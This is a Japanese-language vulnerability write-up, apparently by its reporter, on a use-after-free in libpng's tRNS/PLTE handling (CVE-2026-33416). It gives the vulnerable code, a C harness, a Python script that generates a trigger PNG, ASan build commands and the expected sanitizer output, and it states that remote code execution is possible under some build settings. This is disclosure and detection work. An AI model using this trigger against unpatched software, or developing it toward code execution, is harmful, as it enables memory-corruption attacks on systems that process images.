以前、libpng の脆弱性を発見して報告したが、放置していたので復習もかねてUAFの検出に至るまでのPoCを再確認する。
概要
CVE-2026-33416 は、libpng 1.2.1 から 1.6.55 までのバージョンに存在するpng_struct と png_info の間のポインタエイリアシングに起因するUse After Free(UAF)である。
7.5 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)
png_set_tRNS と png_set_PLTE は png_struct と png_info の間でヒープ割り当てされたバッファを共有している。
以下が該当箇所である(行番号は修正前のもの)。
// pngset.c:1177
png_ptr->trans_alpha = info_ptr->trans_alpha;
// pngrtran.c:1229-1230
for (i = 0; i < istop; i++)
png_ptr->trans_alpha[i] = (png_byte)(255 - png_ptr->trans_alpha[i]);
png_free_data(png, info, PNG_FREE_TRNS, -1) または PNG_FREE_ALL で info_ptr のデータを解放すると、info_ptr->trans_alpha は解放されるが、png_ptr->trans_alpha は解放済みのメモリ領域を指したままである。
その後、png_read_update_info() を呼び出すと、以下の順で png_init_palette_transformations() が実行される。
png_read_update_info → png_read_start_row → png_init_read_transformations → png_init_palette_transformations
png_init_palette_transformations() 内で、解放済みのバッファに対して以下の書き込みが行われる。
// pngrtran.c:1229-1230
for (i = 0; i < istop; i++)
png_ptr->trans_alpha[i] = (png_byte)(255 - png_ptr->trans_alpha[i]);
PoC
ASan によって UAF を検出できることを示す。
手順
- libpng を ASan 付きでビルド:
cd libpng
mkdir -p build-asan && cd build-asan
cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
make
- 最小再現コード (
poc.c):
#include <stdio.h>
#include <stdlib.h>
#include <setjmp.h>
#include <png.h>
static jmp_buf jmpbuf;
static void err_handler(png_structp p, const char *m) {
fprintf(stderr, "libpng error: %s\n", m);
longjmp(jmpbuf, 1);
}
int main(int argc, char **argv) {
if (argc < 2) return 1;
FILE *fp = fopen(argv[1], "rb");
if (!fp) return 1;
png_structp png = png_create_read_struct(
PNG_LIBPNG_VER_STRING, NULL, err_handler, NULL);
png_infop info = png_create_info_struct(png);
if (setjmp(jmpbuf)) {
png_destroy_read_struct(&png, &info, NULL);
fclose(fp);
return 1;
}
png_init_io(png, fp);
png_read_info(png, info);
/* Enable transforms that trigger the UAF path */
png_color_16 bg = {0};
bg.red = bg.green = bg.blue = 0xFFFF;
png_set_background(png, &bg, PNG_BACKGROUND_GAMMA_FILE, 1, 1.0);
png_set_invert_alpha(png);
/* Free info data — png_ptr->trans_alpha becomes dangling */
png_free_data(png, info, PNG_FREE_ALL, -1);
/* UAF fires here: writes to freed trans_alpha buffer */
png_read_update_info(png, info);
png_destroy_read_struct(&png, &info, NULL);
fclose(fp);
return 0;
}
- コンパイルと実行:
gcc -fsanitize=address,undefined -g -O1 -o poc poc.c \
-Ibuild-asan -I. -Lbuild-asan -lpng18 -lz -lm
python3 -c "
import struct, zlib
sig = b'\x89PNG\r\n\x1a\n'
def chunk(t, d):
r = t + d
return struct.pack('>I', len(d)) + r + struct.pack('>I', zlib.crc32(r) & 0xFFFFFFFF)
ihdr = chunk(b'IHDR', struct.pack('>IIBBBBB', 4, 4, 8, 3, 0, 0, 0))
plte = chunk(b'PLTE', bytes([i % 256 for i in range(768)]))
trns = chunk(b'tRNS', bytes([0x80] * 256))
raw = b''.join(b'\x00' + bytes([(r*4+c) % 256 for c in range(4)]) for r in range(4))
idat = chunk(b'IDAT', zlib.compress(raw))
iend = chunk(b'IEND', b'')
open('trigger.png','wb').write(sig + ihdr + plte + trns + idat + iend)
"
LD_LIBRARY_PATH=build-asan ./poc trigger.png
- 期待される出力 (ASan):
==XXXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXXXXXX
READ of size 1 at 0xXXXXXXXXXXXX thread T0
#0 ... in png_init_palette_transformations pngrtran.c:1171
...
freed by thread T0 here:
#0 ... in free
...
#N ... in png_free_data png.c:...
上記の手順で UAF を検出できた。
本脆弱性は、対象のバイナリが -no-pie でコンパイルされており、glibc tcache が有効である場合、RCE が可能になる。この脆弱性は既に修正されている。